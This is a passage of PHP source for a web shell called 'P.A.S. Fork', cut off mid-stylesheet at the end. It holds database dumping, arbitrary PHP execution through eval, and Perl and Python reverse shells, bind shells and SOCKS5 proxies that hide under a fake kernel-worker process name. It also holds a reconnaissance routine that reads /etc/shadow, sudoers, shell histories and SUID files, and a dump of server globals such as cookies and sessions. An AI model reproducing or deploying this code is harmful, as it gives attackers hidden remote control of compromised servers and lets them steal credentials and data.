jsonEcho($k);
}
echo '],"r":[';
$b = FALSE;
do {
if ($b)
echo ',';
else
$b = TRUE;
echo '[';
$k = FALSE;
foreach ($v as $i) {
if ($k)
echo ',';
else
$k = TRUE;
jsonEcho($i);
}
echo ']';
} while ($v = $S->fetchRow());
}
echo ']';
}
$S = $D['e'] . 'Client';
$S = new $S();
if (!$S->connect($D['h'], $D['u'], $D['p'], $D['b'], $D['l']))
$S->connError($S->getError(), $D['h'], $D['u'], $D['p'], $D['b']);
if (isset($D['d'])) {
$Z = new PZIP();
$Z->init();
$a = array();
$m = packTime(time());
foreach ($D['d'] as $k => $v) {
if (isset($D['s'][$k]))
foreach ($D['s'][$k] as $i => $s) {
if (isset($D['t'][$k . '-' . $i]))
foreach ($D['t'][$k . '-' . $i] as $n => $t)
$a[$v][$s][$t] = isset($D['f'][$k . '-' . $i . '-' . $n]) ? $D['f'][$k . '-' . $i . '-' . $n] : FALSE;
elseif ($S->getTables($v, $s))
while (($t = $S->fetchTable()) !== FALSE)
$a[$v][$s][$t] = FALSE;
} elseif (isset($D['t'][$k]))
foreach ($D['t'][$k] as $i => $s)
$a[$v][$s] = isset($D['f'][$k . '-' . $i]) ? $D['f'][$k . '-' . $i] : FALSE;
elseif ($S->haveSchemas) {
$k = array();
if ($S->getSchemas($v))
while (($i = $S->fetchSchema()) !== FALSE)
$k[] = $i;
foreach ($k as $s)
if ($S->getTables($v, $s))
while (($t = $S->fetchTable()) !== FALSE)
$a[$v][$s][$t] = FALSE;
} elseif ($S->getTables($v))
while (($t = $S->fetchTable()) !== FALSE)
$a[$v][$t] = FALSE;
}
$e = array();
$o = $D['o'] === '0';
$x = $o ? '.sql' : '.csv';
if ($S->haveSchemas)
foreach ($a as $d => $v)
foreach ($v as $s => $k)
foreach ($k as $t => $c) {
$f = escFileName($d . '.' . $s . '.' . $t) . $x;
$Z->fileHeader($f, $m);
if ($o)
printf(T_DMPHDR, gmdate('Y-m-d H:i:s'));
if ($i = $S->dump($d, $s, $t, $c, $o))
$e[] = $i;
if ($o)
printf(T_DMPFTR, gmdate('Y-m-d H:i:s'));
$Z->fileFooter($f, $m);
} else
foreach ($a as $d => $v)
foreach ($v as $t => $c) {
$f = escFileName($d . '.' . $t) . $x;
$Z->fileHeader($f, $m);
if ($o)
printf(T_DMPHDR, gmdate('Y-m-d H:i:s'));
if ($i = $S->dump($d, $t, $c, $o))
$e[] = $i;
if ($o)
printf(T_DMPFTR, gmdate('Y-m-d H:i:s'));
$Z->fileFooter($f, $m);
}
if ($e) {
$n = 'ERRORS.txt';
$t = packTime(time());
$Z->fileHeader($n, $t);
foreach ($e as $v)
echo $v;
$Z->fileFooter($n, $t);
}
$Z->close();
}
if (isset($D['q'])) {
if ($S->query($D['q'])) {
echo '{"q":';
jsonEcho($D['q']);
outData($S);
$S->close();
sDie('}');
}
echo '{"e":';
jsonEcho($D['q'] . "\n" . $S->getError());
sDie('}');
}
if (isset($D['f'])) {
$b = isset($D['s']);
if ($b ? $S->select($D['b'], $D['s'], $D['t'], $D['f'], $D['o'], $D['r']) : $S->select($D['b'], $D['t'], $D['f'], $D['o'], $D['r'])) {
echo '{';
if ($S->canPaginate)
echo '"o":', $D['o'], ',';
echo '"b":';
jsonEcho($D['b']);
if ($b) {
echo ',"s":';
jsonEcho($D['s']);
}
echo ',"t":';
jsonEcho($D['t']);
outData($S);
$S->close();
sDie('}');
}
echo '{"e":';
jsonEcho("Can't load data from table " . $D['b'] . '.' . ($b ? $D['s'] . '.' : '') . $D['t'] . ' (' . $S->getError() . ')');
sDie('}');
}
if (isset($D['t'])) {
$b = isset($D['s']);
if ($v = ($b ? $S->getColumns($D['b'], $D['s'], $D['t']) : $S->getColumns($D['b'], $D['t']))) {
$S->close();
echo '{"b":';
jsonEcho($D['b']);
if ($b) {
echo ',"s":';
jsonEcho($D['s']);
}
echo ',"t":';
jsonEcho($D['t']);
echo ',"f":[';
$i = FALSE;
$a = array();
foreach ($v as $k => $t) {
if ($i)
echo ',';
else
$i = TRUE;
echo '[';
jsonEcho($k);
if (!isset($a[$t]))
$a[$t] = count($a);
echo ',', $a[$t], ']';
}
echo '],"y":[';
$i = FALSE;
foreach ($a as $k => $v) {
if ($i)
echo ',';
else
$i = TRUE;
jsonEcho($k);
}
sDie(']}');
}
$S->close();
echo '{"e":';
jsonEcho("Can't list columns for table " . $D['b'] . '.' . ($b ? $D['s'] . '.' : '') . $D['t']);
sDie('}');
}
if (isset($D['b'])) {
$b = isset($D['s']);
if ($b || !$S->haveSchemas) {
if ($b ? $S->getTables($D['b'], $D['s']) : $S->getTables($D['b'])) {
echo '{"b":';
jsonEcho($D['b']);
if ($b) {
echo ',"s":';
jsonEcho($D['s']);
}
echo ',"t":[';
$i = FALSE;
while (FALSE !== ($v = $S->fetchTable())) {
if ($i)
echo ',';
else
$i = TRUE;
echo '[';
jsonEcho($v);
if (isset($D['r']))
echo ',', $b ? $S->getTableSize($D['b'], $D['s'], $v) : $S->getTableSize($D['b'], $v);
echo ']';
}
$S->close();
sDie(']}');
}
$S->close();
echo '{"e":';
jsonEcho("Can't list tables for " . $D['b'] . ($b ? '.' . $D['s'] : ''));
sDie('}');
}
if ($S->getSchemas($D['b'])) {
echo '{"b":';
jsonEcho($D['b']);
echo ',"s":[';
$b = FALSE;
while (FALSE !== ($v = $S->fetchSchema())) {
if ($b)
echo ',';
else
$b = TRUE;
jsonEcho($v);
}
$S->close();
sDie(']}');
}
$S->close();
echo '{"e":';
jsonEcho("Can't list schemas for database " . $D['b']);
sDie('}');
}
if ($S->getBases()) {
echo '[';
$b = FALSE;
while (FALSE !== ($v = $S->fetchBase())) {
if ($b)
echo ',';
else
$b = TRUE;
jsonEcho($v);
}
$S->close();
sDie(']');
}
$S->close();
sDie('{"e":"Can\'t list databases"}');
break;
case 'p':
function sdf() {
if (defined('PTF'))
delFile(PTF);
sDie("\x03\x1E" . (defined('PES') ? "\x06" : "\x15") . "\x17\x04\x10");
}
register_shutdown_function('sdf');
echo "\x01\x02";
$D['e'] = preg_replace('/(^[\s]*+<\?php)/ui', '', $D['e']);
$D['e'] = 'define("PES",1);' . $D['e'];
if (!isset($D['h']))
$D['e'] = '@error_reporting(E_ALL);@ini_set("error_reporting",E_ALL);@ini_set("display_errors",TRUE);' . $D['e'];
eval($D['e']);
if (defined('PES'))
die;
if ($v = tempFile('<?php ' . $D['e'])) {
define('PTF', $v);
include($v);
if (defined('PES'))
die;
include_once($v);
if (defined('PES'))
die;
require($v);
if (defined('PES'))
die;
require_once($v);
if (defined('PES'))
die;
if (PHP_VERSION >= '5' && PHP_VERSION <= '5.0.4') {
php_check_syntax($v);
if (defined('PES'))
die;
}
}
if (PHP_VERSION_ID < 80000 && $v = @create_function('&$args', $D['e']))
$v($args);
if (defined('PES'))
die;
sDie();
break;
case 't':
function getCmdOpt($c, $n, $d) {
if ($v = strpos($c, ' -' . $n))
return ltrim(substr($c, $v + 3, strcspn($c, ' ', $v + 4) + 1));
return $d;
}
echo "\x01\x02";
$D['e'] = isset($D['e']) ? trim($D['e']) : '';
if (!isset($D['s']))
$D['s'] = '';
$k = strtok($D['e'], ' ');
if (in_array($k, array(
'backconnect.perl',
'bindport.perl',
'socks5.perl'
))) {
$p = '$0="' . getCmdOpt($D['e'], 'n', '[kworker/4:1]') . '\0";use IO::Socket;$SIG{"CHLD"}="IGNORE";$f="[Fail]";$w="[Warn]";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or die"$f Create socket: $!";';
if ($k === 'backconnect.perl')
$p .= '$a=inet_aton("' . strtok(' ') . '") or die"$f Convert host address: $!";$s=sockaddr_in(' . strtok(' ') . ',$a) or die"$f Packed address: $!";connect(S,$s) or die"$f Connect: $!";$r="S";';
else
$p .= 'setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1) or print"$w Set socket options: $!\n";$s=sockaddr_in(' . strtok(' ') . ',inet_aton("' . getCmdOpt($D['e'], 'a', '0.0.0.0') . '")) or die"$f Packed address: $!";bind(S,$s) or die"$f Bind socket: $!";';
if ($k === 'bindport.perl')
$p .= 'listen(S,1) or die"$f Listen socket: $!";accept(C,S) or die"$f Accept connection: $!";$r="C";';
if ($k === 'socks5.perl') {
$v = getCmdOpt($D['e'], 's', '');
if ($v)
$v = explode(':', $v);
$p .= 'use threads;listen(S,SOMAXCONN) or die"$f Listen socket: $!";print"[Succ] Server successfully launched!\n";close(STDIN);close(STDOUT);close(STDERR);sub prcss{$C = $_[0];sysread($C,$b,1);if($b ne "\x05"){shutdown($C,2);close($C);return;}sysread($C,$b,1);sysread($C,$b,ord($b));if(index($b,"\x0' . ($v ? '2' : '0') . '")==-1){syswrite($C,"\x05\xFF");shutdown($C,0);close($C);return;}syswrite($C,"\x05\x0' . ($v ? '2' : '0') . '");';
if ($v)
$p .= 'sysread($C,$b,1);sysread($C,$l,1);sysread($C,$u,ord($l));sysread($C,$l,1);sysread($C,$p,ord($l));if(($b ne "\x01") || ($u ne "' . $v[0] . '") || ($p ne "' . $v[1] . '")){syswrite($C,"\x01\xFF");shutdown($C,0);close($C);return;}syswrite($C,"\x01\x00");';
$p .= 'sysread($C,$b,1);if($b ne "\x05"){shutdown($C,2);close($C);return;}sysread($C,$c,1);sysread($C,$b,1);if($b ne "\x00"){shutdown($C,2);close($C);return;}sysread($C,$t,1);if($t eq "\x01"){sysread($C,$a,4);$d=$a;}elsif($t eq "\x03"){sysread($C,$a,1);sysread($C,$b,unpack("c",$a));$a.=$b;$d=inet_aton($b);}elsif($t eq "\x04"){sysread($C,$a,16);$d=$a;}else{shutdown($C,2);close($C);return;}sysread($C,$b,2);$a.=$b;if($c ne "\x01"){syswrite($C, "\x05\x07\x00".$t.$a);shutdown($C,0);close($C);return;}if(!socket(D,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or !connect(D,sockaddr_in(unpack("n",$b),$d))){syswrite($C,"\x05\x05\x00".$t.$a);shutdown($C,0);close($C);close(D);return;}syswrite($C,"\x05\x00\x00".$t.$a);$m="";$fc=fileno($C);$fd=fileno(D);vec($m,$fc,1)=1;vec($m,$fd,1)=1;do{$c=$m;$rc=-1;$rd=-1;if(select($c,undef,undef,1)){if(vec($c,$fc,1)){$rc=sysread($C,$b,10240);if($rc){syswrite(D,$b);}}if(vec($c,$fd,1)){$rd=sysread(D,$b,10240);if($rd){syswrite($C,$b);}}}}while($rc!=0 && $rd!=0);shutdown($C,2);close($C);shutdown(D,2);close(D);}while(accept(C,S)){threads->create("prcss",C);}';
} else {
$v = getCmdOpt($D['e'], 's', NIX ? '/bin/sh -i' : 'cmd');
$p .= 'print"[OK] Successful connected!\n";open(STDOUT,">&$r") or die"$f Redirect STDOUT: $!";print "\n# P.A.S. Fork v.' . VER . ' ' . $k . '\n\n";open(STDIN, "<&$r") or die"$f Redirect STDIN: $!";open(STDERR,">&STDOUT") or print"$w Redirect STDERR: $!\n";exec("' . $v . '") or die"$f Run shell (' . $v . '): $!";';
}
$s = getCmdOpt($D['e'], 'i', NIX ? '/usr/bin/perl' : 'perl.exe');
if ($v = tempFile($p)) {
exe($s . ' ' . $v . ' &', $D['f'], $D['s']);
delFile($v);
} else
exe($s . " -e '" . $p . "' &", $D['f'], $D['s']);
} elseif (in_array($k, array(
'backconnect.python',
'bindport.python',
'socks5.python'
))) {
$p = "try:\n import sys,socket";
if ($k === 'socks5.python')
$p .= ',struct,threading,select';
else
$p .= ',os,' . (getCmdOpt($D['e'], 't', 'N') === 'N' ? 'subprocess' : 'pty');
$p .= ";\n S = socket.socket(socket.AF_INET,socket.SOCK_STREAM);\n";
if ($k === 'backconnect.python') {
$p .= ' S.connect(("' . strtok(' ') . '",' . strtok(' ') . "));\n";
$s = 'S';
} else
$p .= " S.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1);\n" . ' S.bind(("' . getCmdOpt($D['e'], 'a', '') . '",' . strtok(' ') . "));\n S.listen(5);\n";
if ($k === 'bindport.python') {
$p .= " (C,A) = S.accept();\n";
$s = 'C';
}
if ($k === 'socks5.python') {
$v = getCmdOpt($D['e'], 's', '');
if ($v)
$v = explode(':', $v);
$p .= "except Exception as e:\n print(e);\nelse:\n" . ' print("[Succ] Server successfully launched!"+chr(10));' . "\n sys.stdin.close();\n sys.stderr.close();\n sys.stdout.close();\n def prcss(C):\n" . ' if C.recv(1)!=b"\x05":' . "\n C.shutdown(2);\n C.close();\n return;\n" . ' if b"\x0' . ($v ? '2' : '0') . '" not in C.recv(struct.unpack("B", C.recv(1))[0]):' . "\n" . ' C.send(b"\x05\xFF");' . "\n C.shutdown(0);\n C.close();\n return;\n" . ' C.send(b"\x05\x0' . ($v ? '2' : '0') . '");' . "\n";
if ($v)
$p .= ' if (C.recv(1)!=b"\x01") or (C.recv(struct.unpack("B", C.recv(1))[0])!=b"' . $v[0] . '") or (C.recv(struct.unpack("B", C.recv(1))[0])!=b"' . $v[1] . '"):' . "\n" . ' C.send(b"\x01\xFF");' . "\n C.shutdown(0);\n C.close();\n return;\n" . ' C.send(b"\x01\x00");' . "\n";
$p .= ' if C.recv(1)!=b"\x05":' . "\n C.shutdown(2);\n C.close();\n return;\n c = C.recv(1);\n" . ' if C.recv(1)!=b"\x00":' . "\n C.shutdown(2);\n C.close();\n return;\n t = C.recv(1);\n" . ' if t==b"\x01":' . "\n a = C.recv(4);\n" . ' d = socket.inet_ntoa(a);' . "\n" . ' elif t==b"\x03":' . "\n a = C.recv(1);\n" . ' d = C.recv(struct.unpack("B", a)[0]);' . "\n a += d;\n" . ' elif t==b"\x04":' . "\n a = C.recv(16);\n" . ' d = socket.inet_ntop(socket.AF_INET6, a);' . "\n else:\n C.shutdown(2);\n C.cloce();\n return;\n p = C.recv(2);\n a += p;\n" . ' if c!=b"\x01":' . "\n" . ' C.send(b"\x05\x07\x00"+t+a);' . "\n C.shutdown(0);\n C.close();\n return;\n D = socket.socket(socket.AF_INET,socket.SOCK_STREAM);\n try:\n" . ' D.connect((d, struct.unpack(">H", p)[0]));' . "\n except:\n" . ' C.send(b"\x05\x05\x00"+t+a);' . "\n C.shutdown(0);\n C.close();\n D.close();\n else:\n" . ' C.send(b"\x05\x00\x00"+t+a);' . "\n C.setblocking(0);\n D.setblocking(0);\n while True:\n r,w,e = select.select([C,D], [], []);\n if len(r)>0:\n try:\n d = r[0].recv(10240);\n if r[0]==C:\n D.send(d);\n else:\n C.send(d);\n except:\n D.close();\n C.close();\n break;\n while True:\n (C,A) = S.accept();\n t = threading.Thread(target=prcss,args=(C,));\n t.daemon = True;\n t.start();";
} else
$p .= ' print("[OK] Successful connected!\n");' . "\n sys.stdout.flush();\n" . ' os.dup2(' . $s . ".fileno(),0);\n" . ' os.dup2(' . $s . ".fileno(),1);\n" . ' os.dup2(' . $s . ".fileno(),2);\n" . ' print("\n# P.A.S. Fork v.' . VER . ' ' . $k . '\n\n");' . "\n sys.stdout.flush();\n " . (getCmdOpt($D['e'], 't', 'N') === 'N' ? 'subprocess.Popen' : 'pty.spawn') . '(["' . getCmdOpt($D['e'], 's', NIX ? '/bin/sh","-i' : 'cmd') . '"]);' . "\nexcept Exception as e:\n" . ' print(e);';
$s = getCmdOpt($D['e'], 'i', NIX ? '/usr/bin/python' : 'python.exe');
if ($v = tempFile($p)) {
exe($s . ' ' . $v . ' &', $D['f'], $D['s']);
delFile($v);
} else
exe("echo '" . $p . "'| " . $s . ' - &', $D['f'], $D['s']);
} elseif ($k === 'report') {
$i = getCmdOpt($D['e'], 's', '');
if (NIX) {
$t = "echo ' -------------------------------------------------';";
$h = 'echo;echo;' . $t . "echo '|' ";
$v = "echo '* This report created by P.A.S. Fork v." . VER . "';echo '* '`date -u +'%Y-%m-%d %H:%M:%S %Z'`;";
if (strpos($i, 'o') === FALSE)
$v .= $h . 'OS Identification;' . $t . "echo '==> uname <==';" . 'uname -a;echo;tail -n +1 /proc/*version* /etc/*issue* /etc/*release* /etc/*version* /etc/motd;';
if (strpos($i, 'e') === FALSE)
$v .= $h . 'Environment;' . $t . 'env;';
if (strpos($i, 'u') === FALSE)
$v .= $h . 'Users and Groups;' . $t . "echo '==> id <==';" . 'id;echo;' . "echo '==> whoami <==';" . 'whoami;echo;tail -n +1 /etc/*passwd* /etc/*group* /etc/*shadow* /etc/sudoers;echo;' . "echo '==> who <==';" . 'who;';
if (strpos($i, 'l') === FALSE)
$v .= $h . 'Lang;' . $t . 'php -v|head -n1;python -V 2>&1;perl -v|head -n2|tail -n1;ruby -v;gcc --version|head -n1;';
if (strpos($i, 'p') === FALSE)
$v .= $h . 'Processes;' . $t . 'ps -uax;';
if (strpos($i, 'c') === FALSE)
$v .= $h . 'CPU;' . $t . 'cat /proc/cpuinfo;';
if (strpos($i, 'n') === FALSE)
$v .= $h . 'Network;' . $t . 'tail -n +1 /etc/host*;' . "echo '==> Listening ports <==';" . 'netstat -ln;' . "echo '==> IP config <==';" . 'ifconfig -a; ip a;';
if (strpos($i, 'r') === FALSE)
$v .= $h . 'Cron;' . $t . 'tail -n +1 /etc/*crontab;' . "echo '==> Files <==';" . 'ls -al /etc/*cron*;ls -al /var/spool/cron/*;echo;';
if (strpos($i, 'h') === FALSE)
$v .= $h . 'Histories;' . $t . 'for d in `cut -d":" -f6 /etc/passwd`;do ls -al $d/.*hist*;done;';
if (strpos($i, 'f') === FALSE) {
$v .= $h . 'File System;' . $t . "echo '==> mount <==';mount;echo;echo '==> Disks <==';df -h;echo;echo '==> / <==';ls -al /;echo;echo '==> /boot <==';ls -al /boot;echo;echo '==> /etc <==';ls -al /etc;echo;echo '==> /tmp <==';ls -al /tmp;echo;echo '==> Libs <==';ls -al --full-time /lib*;echo;";
if (strpos($i, 's') === FALSE)
$v .= "echo '==> SUID Files <==';" . 'find / -type f -perm -u+s -ls;';
}
} else {
$t = 'echo ------------------------------------------------- & ';
$h = $t . 'echo ^| ';
$v .= $h . 'OS &' . $t . 'reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName & ';
if (strpos($i, 's') === FALSE)
$v .= $h . 'System Info & ' . $t . 'systeminfo & ';
if (strpos($i, 'e') === FALSE)
$v .= $h . 'Environment & ' . $t . 'SET & ';
if (strpos($i, 'u') === FALSE)
$v .= $h . 'Users and Groups & ' . $t . 'NET USER & NET LOCALGROUP & NET GROUP & ';
if (strpos($i, 't') === FALSE)
$v .= $h . 'Tasks & ' . $t . 'schtasks /v & ';
if (strpos($i, 't') === FALSE)
$v .= $h . 'Processes & ' . $t . 'tasklist /SVC & ';
if (strpos($i, 'n') === FALSE)
$v .= $h . 'Network & ' . $t . 'echo ==^> ipconfig ^<== & ipconfig /all & echo ==^> netstat ^<== & netstat -ano & echo ==^> Files ^<== & type %systemroot%\\system32\\drivers\\etc\\* & ';
if (strpos($i, 'r') === FALSE)
$v .= $h . 'Share & ' . $t . 'NET SHARE & ';
}
$i = getCmdOpt($D['e'], 'f', FALSE);
exe($v, $D['f'], $D['s'], TRUE, $i ? ' 1>' . $i : '');
if ($i)
echo 'Report saved as ', $i, "\n";
} else {
$s = NIX ? ';' : '&';
$v = 'cd ' . (NIX ? nesc($D['p']) : wesc($D['p'])) . $s;
if ($D['e'] !== '') {
$v .= $D['e'];
if (substr($D['e'], -1) !== $s)
$v .= $s;
}
$v .= 'echo ' . "\x03\x1E\x02" . $s . (NIX ? 'whoami' : 'echo %username%') . $s . 'hostname' . $s . (NIX ? 'pwd' : 'cd');
exe($v, $D['f'], $D['s'], !isset($D['h']));
}
sDie("\x03\x1E\x17\x04\x10");
break;
default:
if ($D['t'] === 'm') {
infMain();
sDie();
}
if ($D['t'] === 'p') {
echo '{"Configs":{';
$a = array();
$b = FALSE;
if (PHP_VERSION >= '5.2.4')
$a[] = php_ini_loaded_file();
if (PHP_VERSION >= '4.3')
$a[] = php_ini_scanned_files();
if ($a) {
$b = TRUE;
echo '"Loaded files":';
jsonEcho(implode(",\n", $a));
}
if (PHP_VERSION >= '4.2' && is_array($a = ini_get_all()))
foreach ($a as $k => $v) {
if ($b)
echo ',';
else
$b = TRUE;
jsonEcho($k);
echo ':';
jsonEcho($v['local_value']);
}
echo '}';
echo ',"Main Constants":{';
$b = FALSE;
foreach (array(
'PHP_OS',
'PHP_WINDOWS_VERSION_MAJOR',
'PHP_WINDOWS_VERSION_MINOR',
'PHP_WINDOWS_VERSION_BUILD',
'PHP_WINDOWS_VERSION_SP_MAJOR',
'PHP_WINDOWS_VERSION_SP_MINOR',
'PHP_WINDOWS_VERSION_SUITEMASK',
'PHP_WINDOWS_VERSION_PLATFORM',
'PHP_WINDOWS_VERSION_PRODUCTTYPE',
'PHP_WINDOWS_NT_WORKSTATION',
'PHP_WINDOWS_NT_SERVER',
'PHP_WINDOWS_NT_DOMAIN_CONTROLLER',
'PHP_SAPI',
'PHP_VERSION',
'PHP_BINARY',
'PHP_PREFIX',
'PHP_BINDIR',
'PHP_LIBDIR',
'PHP_SHLIB_SUFFIX',
'PHP_EXTENSION_DIR',
'PHP_DATADIR',
'PHP_CONFIG_FILE_PATH',
'PHP_CONFIG_FILE_SCAN_DIR',
'PHP_MANDIR',
'DEFAULT_INCLUDE_PATH',
'PHP_SYSCONFDIR',
'PHP_LOCALSTATEDIR',
'DIRECTORY_SEPARATOR',
'PATH_SEPARATOR',
'PHP_MAXPATHLEN',
'PHP_INT_MAX',
'PHP_INT_SIZE',
'PEAR_INSTALL_DIR',
'PEAR_EXTENSION_DIR'
) as $v)
if (defined($v)) {
if ($b)
echo ',';
else
$b = TRUE;
echo '"', $v, '":';
jsonEcho(constant($v));
}
echo '}';
if (is_array($a = get_loaded_extensions())) {
echo ',"Modules":{';
$b = FALSE;
$i = array(
'DOTTED_VERSION',
'VERSION',
'VERSION_TEXT'
);
foreach ($a as $v) {
if ($b)
echo ',';
else
$b = TRUE;
jsonEcho($v);
echo ':';
if (!($k = phpversion($v))) {
$v = strtoupper($v);
foreach ($i as $n)
if (defined($v . '_' . $n)) {
$k = constant($v . '_' . $n);
break;
}
}
if ($k)
jsonEcho($k);
else
echo '""';
}
echo '}';
}
if (PHP_VERSION >= '5') {
echo ',"Streams":{"Transports":';
jsonEcho(implode(", ", stream_get_transports()));
echo ',"Wrappers":';
jsonEcho(implode(", ", stream_get_wrappers()));
echo ',"Filters":';
jsonEcho(implode(", ", stream_get_filters()));
echo '}';
}
$b = FALSE;
foreach (array(
'_ENV',
'_SERVER',
'_SESSION',
'_REQUEST',
'_GET',
'_POST',
'_COOKIE',
'_FILES',
'HTTP_RAW_POST_DATA',
'argc',
'argv'
) as $v)
if (isset($$v) && count($$v) > 0) {
if (!$b)
echo ',"Global Variables":{';
foreach ($$v as $k => $i) {
if ($b)
echo ',';
else
$b = TRUE;
jsonEcho($v . '[' . $k . ']');
echo ':';
jsonEcho(print_r($i, TRUE));
}
}
if ($b)
echo '}';
sDie('}');
}
break;
}
}
ob_start();
?>
<!DOCTYPE html><html><head><link rel="icon" type="image/gif" href="data:image/ico;base64,<?php $ico = $_SERVER['DOCUMENT_ROOT'].'/favicon.ico'; echo (file_exists($ico) ? base64_encode(file_get_contents($ico)) : 'R0lGODlhEAAQAJECAMDAwAAAAP///wAAACH5BAEAAAIALAAAAAAQABAAQAIglI+pGwErgITtiWowc7D7b0iWGE7gp51qknrkemgyBxcAOw==');?>"/><meta name="referrer" content="no-referrer"/><title><?php if(isset($_SERVER['HTTP_HOST']))echo escHTML($_SERVER['HTTP_HOST']);elseif(isset($_SERVER['SERVER_NAME']))echo escHTML($_SERVER['SERVER_NAME']);?></title><style>*{box-sizing:border-box;outline:0}:focus{outline:none;}:disabled{opacity:.5}::-moz-focus-inner{padding:0;border:0}html{height:100%;padding:0 0 8px 0;background-color:#f0f0f0}body{background:#f0f0f0;position:relative;display:flex;margin:0 auto 8px auto;width:1000px;min-height:100%;font:normal 11px/1.5 Verdana,sans-serif;border:1px solid #fff;box-shadow:0 0 10px rgba(0,0,0,.5);flex-direction:column}iframe{display:none}a,a:visited{color:unset;text-decoration:none}pre{display:block}fieldset{border:1px solid #c7c7c7}table{font-size:12px;width:100%;border-collapse:collapse}th,td{padding:3px 5px;border:1px solid #dfdfdf}thead,tfoot{color:#fcfcfc;background:#7f7f7f}tbody{background:#f7f7f7}tbody tr:hover{background:#ececec}tfoot th{padding:8px 0 4px 2px;text-align:left}tfoot button{width:90px}input,select,button,textarea{margin:1px 2px;font:11px/1.4 Verdana,sans-serif;background:#eaeaea;border:1px solid #c7c7c7}label,select,button{cursor:pointer}button{padding:1px 10px;border-radius:3px}textarea{display:block;flex:1;font:13px/1.5 'Courier New',monospace;background:#fff;resize:none}input[type="text"]{padding:1px 2px;display:block;width:100%;flex:1}input[type="text"]:not(:disabled):focus{background:#fff}input[type="checkbox"]{vertical-align:text-top}input:not(:disabled):hover,select:not(:disabled):hover,button:not(:disabled):hover,input:not(:disabled):focus,select:not(:disabled):focus,button:not(:disabled):focus{background:#f0f0f0;border-color:#a7a7a7}button:not(:disabled):active{background:#e0e0e0;border-color:#a0a0a0 #d0d0d0 #d0d0d0 #a0a0a0}textarea:hover,textarea:focus{border-color:#7f7f7f}#divHdr{position:absolute;top:2px;right:4px;z-index:1}#divBody{position:relative;flex:1}#divFtr{margin:0 2px 3px 2px;clear:both}#divFtr div{flex:1 1 0}#divDtTm{text-align:center}#actLog{display:none;float:right;font-size:20px;line-height:16px}#divMsgs{position:fixed;left:0;right:0;bottom:10px;z-index:999;max-height:20%;overflow-y:auto}#divMsgs div{opacity:0.8}#divMsgs div:hover{opacity:1}.tab,:target ~ #tabInf .tab{display:inline-block;margin:5px 0 0 2px;padding:3px 15px 1px 15px;color:#707070 !important;border:1px solid #d0d0d0;border-bottom:0;border-radius:3px 3px 0 0;background:#e7e7e7}:target .tab,#tabInf .tab{position:relative;margin-bottom:-2px;padding-bottom:3px;z-index:1;color:#000 !important;background:#f7f7f7}.tabPage{display:none;float:left;width:100%;height:100%;flex-direction:column}:target .tabPage,#divInfo.tabPage{display:flex}:target ~ #tabInf>#divInfo.tabPage{display:none}.toolbar,.subbar,.panel{display:flex;border:1px solid #d0d0d0;background:#f7f7f7}.toolbar{margin:1px 0 4px 0;padding:8px 2px 5px 2px;border-width:1px 0;align-items:center;justify-content:space-between}.subbar{margin:-5px 0 4px 0;padding:2px 3px 5px 5px;border-width:0 0 1px 1px;border-radius:0 0 0 4px;align-self:flex-end}.panel{position:relative;margin:0 2px 8px 2px;padding:4px 3px}.arwUp,.arwDwn{display:inline-block;margin:0 0 2px 0;padding:0;border:solid transparent;border-width:4px 5px 4px 5px}.arwUp{border-top:0;border-bottom-color:#000}.arwDwn{border-top-color:#000;border-bottom:0}.spnChrst{display:inline-block;margin:0 0 0 4px;padding:0}.spnChrst .arwUp,.spnChrst .arwDwn{position:relative;margin:0 -16px 2px 2px}.spnChrst select{padding-left:11px}.cntrl{display:inline-block;overflow:hidden;opacity:.5;color:#000;border-radius:5px}.cntrl.arwDwn{margin:0 1px;border-width:7px 6px 0 6px;border-radius:0}.cntrl:hover,.cntrl:focus{opacity:1}.divCntrls .cntrl,#btnSrch{width:18px;height:19px}.divCntrls .cntrl{float:right;margin-top:-1px;font:normal 20px/16px Verdana,sans-serif;text-align:center}.lnkAct:hover{text-decoration:underline}.blink{animation:blink 1s steps(2,start) infinite}@keyframes blink{to{color:transparent}}.modal{display:flex;position:fixed;visibility:hidden;z-index:100;top:50%;left:50%;transform:translateX(-50%) translateY(-50%);padding:3px 3px 5px 3px;flex-direction:column;border:1px solid #fff;background:#f7f7f7;box-shadow:0 0 10px rgba(0,0,0,.5)}.divCntrls{margin-bottom:5px;user-select:none;}.spnTitle{font-weight:bold}.option{display:block;margin:0 2px 10px 2px;flex:1}.option input[type="text"]{margin:1px 0}.option select{display:block;margin:0 1px}.divMsgPrcs,.divMsgErr,.divMsgInf{margin:0 10px 10px 10px;padding:3px 3px 3px 5px;white-space:pre-wrap;border:1px solid;border-radius:3px}.divMsgPrcs{background-image:linear-gradient(#fff,#e0e0e0);border-color:#a0a0a0}.divMsgErr{background-image:linear-gradient(#fff,#ffd0d0);border-color:#ffa0a0}.divMsgInf{background-image:linear-gradient(#fff,#c0c0ff);border-color:#a0a0ff}#divStngs{width:300px}#divLog{width:80%;height:50%}#divLogCntn{overflow-y:auto}.flexRow{display:flex;align-items:center;justify-content:space-between}.unq{color:#7a6f15}#divPagePHP,#frmTrm{position:absolute;padding-bottom:30px}#btnSrch{margin-right:4px}#btnSrch:before,#btnSrch:after{content:'';display:inline-block;border:1px solid}#btnSrch:before{margin:0 0 0 2px;width:8px;height:9px;border-radius:50%}#btnSrch:after{margin:0 0 -5px 0;height:6px;transform:rotate(-45deg)}#btnFastAct{height:19px;margin-left:-4px;padding:1px 5px;border-radius:0 3px 3px 0}#btnFastAct:active{padding:2px 5px 0 5px}#frmFiles{margin:0 2px 10px 2px}#tblFiles{display:none;table-layout:fixed}#tblFiles thead th:first-of-type,#tblFiles td:first-of-type{padding:0;text-align:center}#tblFiles td:nth-of-type(3){white-space:nowrap}#tblFiles td:nth-of-type(4){text-align:right}#tblFiles td:nth-of-type(n+5){text-align:center}#txtClpbrd{position:fixed;top:-1px;left:-1px;margin:0;padding:0;width:1px;height:1px;border:0}#frmLnk,.frmFilesPrps{width:700px}#frmSrch{width:570px}#frmBuffer,.frmFile{width:800px;height:80%}.frmFile{min-width:400px;min-height:150px;overflow:auto;resize:both}.spcrFlex{border:0;flex:1}.spcr20{border:0;width:20px}.noFlex .option{flex:initial}.spnBtnSbMn{position:relative}.btnSbMn{width:75px}.divSbMn{display:none;position:absolute;top:100%;right:3px;margin-top:-1px;width:73px;z-index:1;border:1px solid 